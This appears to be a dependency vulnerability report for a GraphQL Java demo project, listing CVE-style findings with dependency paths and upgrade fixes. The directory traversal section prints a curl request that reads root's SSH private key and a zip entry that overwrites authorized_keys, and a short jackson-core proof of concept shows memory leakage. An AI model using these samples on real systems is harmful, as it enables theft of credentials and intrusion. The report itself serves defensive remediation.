  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.7.1.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.13.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@13.0.1.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@12.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeFromArray() function in BeanDeserializer, due to resource exhaustion when processing a deeply nested array.

NOTE: For this vulnerability to be exploitable the non-default DeserializationFeature must be enabled.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.7.1.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.13.5.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@13.0.3.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@12.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeWrappedValue() function in StdDeserializer.java, due to resource exhaustion when processing deeply nested arrays.

NOTE: This vulnerability is only exploitable when the non-default UNWRAP_SINGLE_VALUE_ARRAYS feature is enabled.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4.1 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: commons-io:commons-io
  • Introduced through: com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 commons-io:commons-io@2.6
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.

Affected versions of this package are vulnerable to Directory Traversal via calling the method FileNameUtils.normalize using an improper string like //../foo or \\..\foo, which may allow access to files in the parent directory.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade commons-io:commons-io to version 2.7 or higher.

References

medium severity

Improper Locking

  • Vulnerable module: org.jetbrains.kotlin:kotlin-stdlib
  • Introduced through: com.graphql-java-kickstart:graphql-java-tools@5.6.1 and com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@12.1.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlin:kotlin-reflect@1.3.31 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@12.1.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-jdk8@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@13.0.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-reactive@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@14.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 org.jetbrains.kotlin:kotlin-reflect@1.3.31 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@14.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-jdk8@1.2.1 org.jetbrains.kotlinx:kotlinx-coroutines-core@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@13.0.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-reactive@1.2.1 org.jetbrains.kotlinx:kotlinx-coroutines-core@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlin:kotlin-reflect@1.3.31 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-jdk8@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-reactive@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 org.jetbrains.kotlin:kotlin-reflect@1.3.31 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-jdk8@1.2.1 org.jetbrains.kotlinx:kotlinx-coroutines-core@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-reactive@1.2.1 org.jetbrains.kotlinx:kotlinx-coroutines-core@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31

Overview

org.jetbrains.kotlin:kotlin-stdlib is a Kotlin Standard Library for JVM.

Affected versions of this package are vulnerable to Improper Locking due to inability to lock dependencies for Multiplatform Gradle Projects.

Remediation

Upgrade org.jetbrains.kotlin:kotlin-stdlib to version 1.6.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework.boot:spring-boot-actuator
  • Introduced through: com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator@2.1.6.RELEASE
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@12.0.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via HTTP requests, when both of these conditions are true:

  • Spring MVC or Spring WebFlux is in use.

  • org.springframework.boot:spring-boot-actuator is on the classpath.

Workaround

This vulnerability can be avoided by disabling web metrics: management.metrics.enable.http.server.requests=false

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework.boot:spring-boot-actuator to version 2.7.18, 3.0.13, 3.1.6 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.9.10, com.fasterxml.jackson.core:jackson-databind@2.9.10.3 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.13.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.13.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@12.0.1.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.13.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@12.0.1.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@12.0.0.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Information Exposure due to the JsonLocation._appendSourceDesc method. An attacker can access up to 500 bytes of unintended memory content by exploiting exception messages that incorrectly read from the beginning of a byte array instead of the logical payload start.

Workaround

This vulnerability can be mitigated by disabling exception message exposure to clients to avoid returning parsing exception messages in HTTP responses and/or disabling source inclusion in exceptions to prevent Jackson from embedding any source content in exception messages, avoiding leakage.

PoC


byte[] buffer = new byte[1000];
System.arraycopy("SECRET".getBytes(), 0, buffer, 0, 6);
System.arraycopy("{ \"bad\": }".getBytes(), 0, buffer, 700, 10);

JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(buffer, 700, 20);
parser.nextToken(); // throws exception

// Exception message will include "SECRET"

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.13.0-rc1 or higher.

References

medium severity

Cross-site Request Forgery (CSRF)

  • Vulnerable module: org.springframework:spring-websocket
  • Introduced through: com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-websocket@2.1.6.RELEASE org.springframework:spring-websocket@5.1.8.RELEASE
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@12.0.0.

Overview

org.springframework:spring-websocket is a framework that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via the StompSubProtocolHandler module. An attacker can perform unauthorized actions on behalf of authenticated users by tricking them into submitting malicious requests.

Remediation

Upgrade org.springframework:spring-websocket to version 6.2.12 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.2.10

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.postgresql:postgresql@42.2.10
    Remediation: Upgrade to org.postgresql:postgresql@42.2.27.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Information Exposure in the pgjdbc driver, which writes to the operating system's shared temp directory when the InputStream to either PreparedStatement.setText(int, InputStream) or PreparedStatemet.setBytea(int, InputStream) is larger than 2K. The temporary file is readable by other users. This is the default system behavior on Unix systems but not on MacOS.

NOTE: This vulnerability is only fixed for JDK 1.7. Systems using JDK 1.6 or below can work around the vulnerability by setting the environment variable java.io.tmpdir to a non-world-readable location.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.27, 42.3.8, 42.4.3, 42.5.1 or higher.

References

medium severity

Dual license: EPL-1.0, LGPL-2.1

  • Module: ch.qos.logback:logback-classic
  • Introduced through: org.springframework.boot:spring-boot-starter-data-jpa@4.0.1, org.springframework.boot:spring-boot-starter-web@4.0.1 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.springframework.boot:spring-boot-starter-data-jpa@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-jackson@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.springframework.boot:spring-boot-starter-data-jpa@4.0.1 org.springframework.boot:spring-boot-starter-jdbc@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:playground-spring-boot-starter@5.10.0 com.graphql-java-kickstart:playground-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-thymeleaf@2.1.6.RELEASE org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:playground-spring-boot-starter@5.10.0 com.graphql-java-kickstart:playground-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-jackson@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:playground-spring-boot-starter@5.10.0 com.graphql-java-kickstart:playground-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22
